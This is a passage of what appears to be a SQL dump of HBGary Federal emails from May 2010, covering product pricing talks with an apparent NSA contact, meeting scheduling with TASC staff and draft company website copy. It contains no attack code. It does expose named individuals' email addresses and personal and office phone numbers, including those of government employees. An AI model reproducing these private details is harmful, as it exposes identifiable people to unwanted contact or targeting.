AM\r\nTo: Bodman, Jerry M\r\nSubject: Feedback\r\n\r\nHi Matt,\r\n\r\nHow do you think the meeting went on Friday? (other than us being late,\r\nwhich I feel very bad for, sorry again).  I was talking with Bob after\r\nthe meeting and trying to work out something that fits your specific\r\nrequirements.  When we initially built the TMC it was built to process\r\nlarge volumes of Malware.  Your numbers are far less than what we\r\noriginally built it for.  For the numbers you talked about we could put\r\nin some development hours and customize a single instance of Responder\r\nPro to batch process files in a directory.  This is not very scalable\r\nbut would work for the time being to get you started.  Let me know.  The\r\ncost for this would just be a single copy of Responder Pro and some\r\nengineering hours for batch processing.\r\n\r\nThe number you had, $60K was a number I mentioned to you, caveating that\r\nI am not the sales guy.  Bob was thinking slightly more than that for a\r\nbase system, because he is thinking in the context of what it was\r\ndesigned for which is more malware.  To turn it into a customer solution\r\nright now takes a little more product development time (cost), its on\r\nour roadmap but behind the completion of active defense (based on\r\noverall customer need).  So to purchase a small system right now would\r\ncost a little more.\r\n\r\nSo assuming the eval of DDNA goes well, we can work something out that\r\nmeets your needs as best we can.  Let me know how you want to proceed.\r\nIts important to me to get our technology working in your environment.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5858,'aaron_hbgary_com/5858.html'),(5986,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004327.M580845P14101Q841.eml','raymond.heider@tasc.com,\"Al Pisani\" <albert.pisani@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','COIN','Chris,\r\n\r\nGood News.  I met with the deputy for the Internet branch.  He will\r\nbecome the chief of Internet branch in two weeks.  He\'s a good friend.\r\n Very good conversation, we need to get together to discuss.\r\n\r\nThe competition is still going to happen.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',12382,'aaron_hbgary_com/12382.html'),(5987,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004327.M805434P14101Q842.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,raymond.heider@tasc.com','Strategic intelligence group','Contact them.  They are on the list and John brought them up to me.\r\nLet\'s get a capabilities briefing from them and visa versa.\r\n\r\n From my iPhone\r\n',2143,'aaron_hbgary_com/2143.html'),(5988,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004328.M24701P14101Q843.eml','\"Aaron Barr\" <adbarr@mac.com>','website','MAINHeadings:HomeCompanyServicesProductsCommunityNews&amp;EventsPartnersCareersUse the same 3 pane format:Incident responseThreat IntelligenceInformation OperationsCOMPANYHBGary Federal is an information security services company providing lifecycle support for enterprise incident response, malware analysis, and information operations. &nbsp;HBGary Federal\'s mission is to provide the best Cybersecurity and Information Operations specialists, threat and malware analysts to assist our customers in advancing the nations capabilities in securing cyberspace and combating evolving cyber threats. Our focus is bringing together creative, technical talent, experienced threat and intelligence analysts, and mission and cultural experts to develop unconventional and innovative cybersecurity capabilities. As a core strength HBGary Federal leverages HBGary’s incident response and malware reverse engineering and analysis tools, and brings extensive experience in information operations and cybersecurity at the national level.Aaron BarrCEOAaron Barr has 20 years of security and intelligence experience at Northrop Grumman, TASC, TRW, and the United States Navy. &nbsp;He last served as the Director of Technology for Northrop Grummans Cybersecurity and SIGINT Business Unit, and as the Chief Engineer for Northrop Grumman Corporation\'s Cyber Campaign. &nbsp;Aaron has a Bachelors degree in BioChemistry and a Masters degree in Computer Security. &nbsp;He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous security conferences and symposiums.Ted VeraPresident and COOTed Vera has 20 years of security experience at Northrop Grumman, TASC, TRW, and the United States Army. &nbsp;He last led the Netcentric Information Operations Department for Northrop Grumman Information Systems, specializing in cybersecurity and information operations capabilities for the intelligence community. Ted has a Bachelors in Computer Information Systems a masters degree in Computer Security.SERVICESIncident ResponseA fast reacting and effective incident response capability is a necessity to ensure mission execution and business continuity. &nbsp;Our analysts excel at fast and effective identification and remediation of compromised systems. &nbsp;But today, the benefits of an effective remediation engagement do not last long. &nbsp;Using HBGary and partner tools, we provide&nbsp;Moreover, whether leveraging HBGary or partner tools we make sure we bring the best weapons to the fight, for behavior based recognition of even the most advanced attacks, we can find compromises that others can\'t.Threat IntelligenceTodays threats are better resourced, better organized, and have objectives to steal intellectual property, personal information, and disrupt business operations.The vehicles of attack and exploitation are more complex, more stealthy, and it takes&nbsp;Information OperationsHBGary Federal provides a host of full-spectrum information operations capabilities with a team of world class software and hardware engineers. &nbsp;We have pioneered capabilities&nbsp;skilled in many of the disciplines of information operations. &nbsp;We make our mark through our creativity&nbsp;Mission SupportPRODUCTSHBGary Federal delivers superior security services to customers for three key reasons. &nbsp;We recruit and hire only the most capable security engineers. &nbsp;We are continually improving the effectiveness and efficiency of our incident response and analysis processes. &nbsp;And we bring the best tools to the fight. &nbsp;Leveraging HBGary\'s superior malware analysis tools. &nbsp;&lt;Display and Link to HBGary Tools.&gt;ResponderDDNAReCONNEWS&amp;EVENTSInitial Press Release - http://www.darkreading.com/securityservices/security/government/showArticle.jhtml?articleID=222000831Palantir - http://www.darkreading.com/securityservices/security/cybercrime/showArticle.jhtml?articleID=222400540&amp;cid=RSSfeed_DR_NewsSecurity Training Interview -&nbsp;http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx451 Group Analysis - http://www.the451group.com/report_view/report_view.php?entity_id=61353PARTNERSPalantirNorthrop GrummanGeneral DynamicsFidelisCAREERSHBGary Federal is seeking experienced Incident Response / Forensics candidates to provide services to our government and commercial customers. &nbsp;Candidate must be fluent in incident response and forensic processes, tools and industry standards. &nbsp;Ideal candidate will be experienced using the HBGary product line including Responder Pro, Digital DNA, Flypaper, and REcon.&nbsp;Malware AnalystIncident Responder\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',391,'aaron_hbgary_com/391.html'),(5989,'2010-05-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004328.M286705P14101Q844.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','RE: COIN','Aaron,\r\n\r\nHow does 2:00-3:00 sound today here?  It looks like our calendars are\r\nfree.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 05, 2010 9:27 AM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n(TASC)\r\nSubject: COIN\r\n\r\nChris,\r\n\r\nGood News.  I met with the deputy for the Internet branch.  He will\r\nbecome the chief of Internet branch in two weeks.  He\'s a good friend.\r\n Very good conversation, we need to get together to discuss.\r\n\r\nThe competition is still going to happen.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',11908,'aaron_hbgary_com/11908.html'),(5990,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004328.M519403P14101Q845.eml','\"Art Money\" <moneyarthurl@cs.com>','Catch Up','Hi Art,\r\n\r\nIf you have some time I would like to get together and fill you in on\r\nwhat I have been up to.  Also wondering if you have a contact at\r\nGoogle with clearances.  I have an opportunity that may or may not\r\ninterest them, but I would like to get their thoughts.\r\n\r\nTake care,\r\nAaron\r\n\r\nSent from my iPad\r\n',12427,'aaron_hbgary_com/12427.html'),(5991,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004328.M739073P14101Q846.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: COIN','Should work.  I have a meeting in Rosslyn from 12-130.  I\'ll head\r\nstraight there.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn May 5, 2010, at 10:55 AM, \"Clair, Chris (TASC)\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> How does 2:00-3:00 sound today here?  It looks like our calendars are\r\n> free.\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, May 05, 2010 9:27 AM\r\n> To: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n> (TASC)\r\n> Subject: COIN\r\n>\r\n> Chris,\r\n>\r\n> Good News.  I met with the deputy for the Internet branch.  He will\r\n> become the chief of Internet branch in two weeks.  He\'s a good friend.\r\n> Very good conversation, we need to get together to discuss.\r\n>\r\n> The competition is still going to happen.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',15770,'aaron_hbgary_com/15770.html'),(5992,'2010-05-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004328.M967525P14101Q847.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','COIN Meeting','\r\n\r\n\r\n\r\n\r\nCOIN Meeting\r\n\r\n\r\n\r\n\r\nWhen: Thursday, May 06, 2010 2:00 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4, Suite 410 - Thinking Room\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',14843,'aaron_hbgary_com/14843.html'),(5993,'2010-05-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004329.M229758P14101Q848.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','COIN Meeting','\r\n\r\n\r\n\r\n\r\nCOIN Meeting\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, May 05, 2010 3:30 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4, Suite 410 - Thinking Room\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nSorry got the wrong day and 3:30 works better. \r\n\r\n\r\n',9391,'aaron_hbgary_com/9391.html'),(5994,'2010-05-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004329.M478878P14101Q849.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: COIN','Moved the meeting to 3:30 to give extra time.  Works better for schedule\r\ntoo.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 05, 2010 11:00 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: COIN\r\n\r\nShould work.  I have a meeting in Rosslyn from 12-130.  I\'ll head\r\nstraight there.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn May 5, 2010, at 10:55 AM, \"Clair, Chris (TASC)\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> How does 2:00-3:00 sound today here?  It looks like our calendars are\r\n> free.\r\n>\r\n> Chris\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, May 05, 2010 9:27 AM\r\n> To: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n> (TASC)\r\n> Subject: COIN\r\n>\r\n> Chris,\r\n>\r\n> Good News.  I met with the deputy for the Internet branch.  He will\r\n> become the chief of Internet branch in two weeks.  He\'s a good friend.\r\n> Very good conversation, we need to get together to discuss.\r\n>\r\n> The competition is still going to happen.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',15024,'aaron_hbgary_com/15024.html'),(5995,'2010-05-05','\"Arthur L. Money\" <moneyarthurl@cs.com>','/aaron@hbgary.com/new/1297004329.M783849P14101Q850.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','Glad to hear form you - hear you are doing well - Peter Weinberger is a\r\nGoogle sr person and cleared sits on many USG advisory Boards including the\r\nNSA board I chair -\r\nWhere are you located?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 05, 2010 10:58 AM\r\nTo: Art Money\r\nSubject: Catch Up\r\n\r\nHi Art,\r\n\r\nIf you have some time I would like to get together and fill you in on\r\nwhat I have been up to.  Also wondering if you have a contact at\r\nGoogle with clearances.  I have an opportunity that may or may not\r\ninterest them, but I would like to get their thoughts.\r\n\r\nTake care,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',5829,'aaron_hbgary_com/5829.html'),(5996,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004330.M159208P14101Q851.eml','\"Arthur L. Money\" <moneyarthurl@cs.com>','Re: Catch Up','That would be great.  McLean/Tysons Corner is where I  am when not on\r\nthe road.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn May 5, 2010, at 11:22 AM, \"Arthur L. Money\" \r\nwrote:\r\n\r\n> Glad to hear form you - hear you are doing well - Peter Weinberger\r\n> is a\r\n> Google sr person and cleared sits on many USG advisory Boards\r\n> including the\r\n> NSA board I chair -\r\n> Where are you located?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, May 05, 2010 10:58 AM\r\n> To: Art Money\r\n> Subject: Catch Up\r\n>\r\n> Hi Art,\r\n>\r\n> If you have some time I would like to get together and fill you in on\r\n> what I have been up to.  Also wondering if you have a contact at\r\n> Google with clearances.  I have an opportunity that may or may not\r\n> interest them, but I would like to get their thoughts.\r\n>\r\n> Take care,\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n',8227,'aaron_hbgary_com/8227.html'),(5997,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004330.M365299P14101Q852.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Feedback','Sounds good.  Thanks, Aaron\r\n\r\nSent from my iPad\r\n\r\nOn May 5, 2010, at 9:19 AM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> I would like to talk more about this.  Bob is going to be testing the\r\n> files you gave us to see if it works for us.\r\n>\r\n> We will be in touch after he has a conclusion.\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, May 03, 2010 10:29 AM\r\n> To: Bodman, Jerry M\r\n> Subject: Feedback\r\n>\r\n> Hi Matt,\r\n>\r\n> How do you think the meeting went on Friday? (other than us being late,\r\n> which I feel very bad for, sorry again).  I was talking with Bob after\r\n> the meeting and trying to work out something that fits your specific\r\n> requirements.  When we initially built the TMC it was built to process\r\n> large volumes of Malware.  Your numbers are far less than what we\r\n> originally built it for.  For the numbers you talked about we could put\r\n> in some development hours and customize a single instance of Responder\r\n> Pro to batch process files in a directory.  This is not very scalable\r\n> but would work for the time being to get you started.  Let me know.  The\r\n> cost for this would just be a single copy of Responder Pro and some\r\n> engineering hours for batch processing.\r\n>\r\n> The number you had, $60K was a number I mentioned to you, caveating that\r\n> I am not the sales guy.  Bob was thinking slightly more than that for a\r\n> base system, because he is thinking in the context of what it was\r\n> designed for which is more malware.  To turn it into a customer solution\r\n> right now takes a little more product development time (cost), its on\r\n> our roadmap but behind the completion of active defense (based on\r\n> overall customer need).  So to purchase a small system right now would\r\n> cost a little more.\r\n>\r\n> So assuming the eval of DDNA goes well, we can work something out that\r\n> meets your needs as best we can.  Let me know how you want to proceed.\r\n> Its important to me to get our technology working in your environment.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',3408,'aaron_hbgary_com/3408.html'),(5998,'2010-05-05','moneyarthurl@cs.com','/aaron@hbgary.com/new/1297004330.M569236P14101Q853.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Catch Up','I\'ll send some dates\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Arthur L. Money\r\nSent: May 5, 2010 11:36\r\nSubject: Re: Catch Up\r\n\r\nThat would be great.  McLean/Tysons Corner is where I  am when not on\r\nthe road.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn May 5, 2010, at 11:22 AM, \"Arthur L. Money\" \r\nwrote:\r\n\r\n> Glad to hear form you - hear you are doing well - Peter Weinberger\r\n> is a\r\n> Google sr person and cleared sits on many USG advisory Boards\r\n> including the\r\n> NSA board I chair -\r\n> Where are you located?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, May 05, 2010 10:58 AM\r\n> To: Art Money\r\n> Subject: Catch Up\r\n>\r\n> Hi Art,\r\n>\r\n> If you have some time I would like to get together and fill you in on\r\n> what I have been up to.  Also wondering if you have a contact at\r\n> Google with clearances.  I have an opportunity that may or may not\r\n> interest them, but I would like to get their thoughts.\r\n>\r\n> Take care,\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n\r\n\r\nArt Money - 571 216 1071 -          Sent via BlackBerry -                 a service from AT&T Wireless.\r\n',15055,'aaron_hbgary_com/15055.html'),(5999,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004330.M799865P14101Q854.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: COIN','I am out early not sure if u can still make 2?\r\n\r\n From my iPhone\r\n\r\nOn May 5, 2010, at 11:15 AM, \"Clair, Chris (TASC)\"  wrote:\r\n\r\n> Moved the meeting to 3:30 to give extra time.  Works better for\r\n> schedule\r\n> too.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, May 05, 2010 11:00 AM\r\n> To: Clair, Chris (TASC)\r\n> Subject: Re: COIN\r\n>\r\n> Should work.  I have a meeting in Rosslyn from 12-130.  I\'ll head\r\n> straight there.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On May 5, 2010, at 10:55 AM, \"Clair, Chris (TASC)\"\r\n> > wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> How does 2:00-3:00 sound today here?  It looks like our calendars are\r\n>> free.\r\n>>\r\n>> Chris\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, May 05, 2010 9:27 AM\r\n>> To: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n>> (TASC)\r\n>> Subject: COIN\r\n>>\r\n>> Chris,\r\n>>\r\n>> Good News.  I met with the deputy for the Internet branch.  He will\r\n>> become the chief of Internet branch in two weeks.  He\'s a good\r\n>> friend.\r\n>> Very good conversation, we need to get together to discuss.\r\n>>\r\n>> The competition is still going to happen.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n',14178,'aaron_hbgary_com/14178.html'),(6000,'2010-05-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004331.M29798P14101Q855.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Catch Up','From my iPhoneBegin forwarded message:From: moneyarthurl@cs.com\r\nDate: May 5, 2010 1:00:27 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Re: Catch UpReply-To: moneyarthurl@cs.com\r\nI&#39;ll send some dates------Original Message------From: Aaron BarrTo: Arthur L. MoneySent: May 5, 2010 11:36\r\nSubject: Re: Catch UpThat would be great.  McLean/Tysons Corner is where I  am when not onthe road.Aaron\r\n From my iPhoneOn May 5, 2010, at 11:22 AM, &quot;Arthur L. Money&quot; &lt;moneyarthurl@cs.com&gt;wrote:\r\nGlad to hear form you - hear you are doing well - Peter Weinbergeris aGoogle sr person and cleared sits on many USG advisory Boards\r\nincluding theNSA board I chair -Where are you located?\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, May 05, 2010 10:58 AMTo: Art MoneySubject: Catch Up\r\nHi Art,If you have some time I would like to get together and fill you in on\r\nwhat I have been up to.  Also wondering if you have a contact atGoogle with clearances.  I have an opportunity that may or may not\r\ninterest them, but I would like to get their thoughts.Take care,\r\nAaronSent from my iPad\r\nArt Money - 571 216 1071 -          Sent via BlackBerry -                 a service from AT&amp;T Wireless.\r\n',2901,'aaron_hbgary_com/2901.html'),(6001,'2010-05-05','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297004331.M347991P14101Q856.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','RE: COIN','OK Let me know.\r\n\r\n-----Original Message-----\r\nFrom: Clair, Chris (TASC) \r\nSent: Wednesday, May 05, 2010 10:56 AM\r\nTo: \'Aaron Barr\'; Heider, Raymond A (TASC); Pisani, Albert A. (TASC)\r\nSubject: RE: COIN\r\n\r\nAaron,\r\n\r\nHow does 2:00-3:00 sound today here?  It looks like our calendars are\r\nfree.\r\n\r\nChris \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 05, 2010 9:27 AM\r\nTo: Heider, Raymond A (TASC); Pisani, Albert A. (TASC); Clair, Chris\r\n(TASC)\r\nSubject: COIN\r\n\r\nChris,\r\n\r\nGood News.  I met with the deputy for the Internet branch.  He will\r\nbecome the chief of Internet branch in two weeks.  He\'s a good friend.\r\n Very good conversation, we need to get together to discuss.\r\n\r\nThe competition is still going to happen.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',16449,'aaron_hbgary_com/16449.html'),(6002,'2010-05-05','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004331.M567260P14101Q857.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Meeting is at','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMeeting with Paul is at 2:30 on\r\nMonday at the Sheraton BWI  http://www.starwoodhotels.com/sheraton/property/overview/index.html?propertyID=1495\r\n\r\n&nbsp;\r\n\r\nPaul is a friend of Ned Miller\r\nand is interested in categorizing malware and participants.  He works with Tony\r\nSaegar (sp)   I will be flying out after this so that I may be at training when\r\nour customers arrive.  I will stay at this hotel and be having lunch with Andy\r\nPurdy prior to the meeting.  Andy is currently in the UK with CSC and hearing\r\ngreat things from their team there about us.  \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Wednesday, May 05, 2010 10:12 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry for the delay, I have been\r\nin &amp;out of the office for the past couple of day, May 10th at 2:30pm will\r\nwork fine with me.&nbsp; Also if I am not responding to your emails quickly\r\nplease call me on my cell (443)340-9216. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPaul Bartock\r\n\r\nemail: pfbart2@nsa.gov\r\n\r\n\r\n\r\nphone (410) 854-9860\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, May 04, 2010 12:44 PM\r\nTo: Bartock, Paul F.\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, let’s do the Starwood Hotel\r\non 1110 Old Elkridge Landing Road.&nbsp; What time is good for you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Tuesday, May 04, 2010 5:57 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nEither one works\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPaul Bartock\r\n\r\nemail: pfbart2@nsa.gov\r\n\r\n\r\n\r\nphone (410) 854-9860\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, May 03, 2010 7:06 PM\r\nTo: Bartock, Paul F.\r\nSubject: RE: Introductions - HBGary\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPaul,\r\n\r\n&nbsp;\r\n\r\nIs this confirmed?&nbsp; We sent\r\ntwo hotels, not sure which would work best (see below).&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1110\r\nOld Elkridge Landing Road\r\n\r\nBaltimore,\r\nMD 21090\r\n\r\n(443)\r\n577-2300\r\n\r\nstarwoodhotels.com?\r\n\r\n&nbsp;\r\n\r\n7491\r\nA New Ridge Road\r\n\r\nHanover,\r\nMD 21076\r\n\r\n(410)\r\n878-7200\r\n\r\nhilton.com?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Tuesday, April 13, 2010 8:48 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nThanks, would like to arrange a\r\nmeeting, in the mid May timeframe. Please check your schedule and propose\r\nseveral &nbsp;dates which works the best for you. And I will engage our folks\r\nhere and we will work to meet on one of your proposed &nbsp;dates.\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\n&nbsp;\r\n\r\nPaul \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPaul Bartock\r\n\r\nemail: pfbart2@nsa.gov\r\n\r\n\r\n\r\nphone (410) 854-9860\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, April 12, 2010 6:36 PM\r\nTo: Bartock, Paul F.\r\nSubject: RE: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPaul,\r\n\r\n&nbsp;\r\n\r\nWe’d like to schedule a time to\r\nintroduce you to HBGary.&nbsp; We’ve been working with your agency for some\r\ntime and I think what we are doing can help further the goals inside.&nbsp; I’m\r\nsure you are incredibly busy, so perhaps a webex would be OK or on site, your\r\nchoice.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ned Miller\r\n[mailto:Ned_Miller@symantec.com] \r\nSent: Friday, April 09, 2010 2:47 PM\r\nTo: p.bartoc@radium.ncsc.mil; Penny Leavy-Hoglund\r\nSubject: Introductions - HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Paul.\r\n\r\n&nbsp;\r\n\r\nIt was great seeing you on Wed. I wanted to take a moment\r\nand introduce you to Penny Leavy, the CEO at HBGary http://www.hbgary.com/\r\n\r\n&nbsp;\r\n\r\nPenny and her team are doing some very interesting work in\r\nthe malware and forensics areas with a unique approach. We recently discussed\r\nthe MITRE MAEC initiative and several other unique areas HBGary may play a role\r\nin the malware detection and analysis arena going forward. I thought the two of\r\nyou would benefit from knowing one another…\r\n\r\n&nbsp;\r\n\r\nMy\r\nwork is done here&nbsp; ;-) 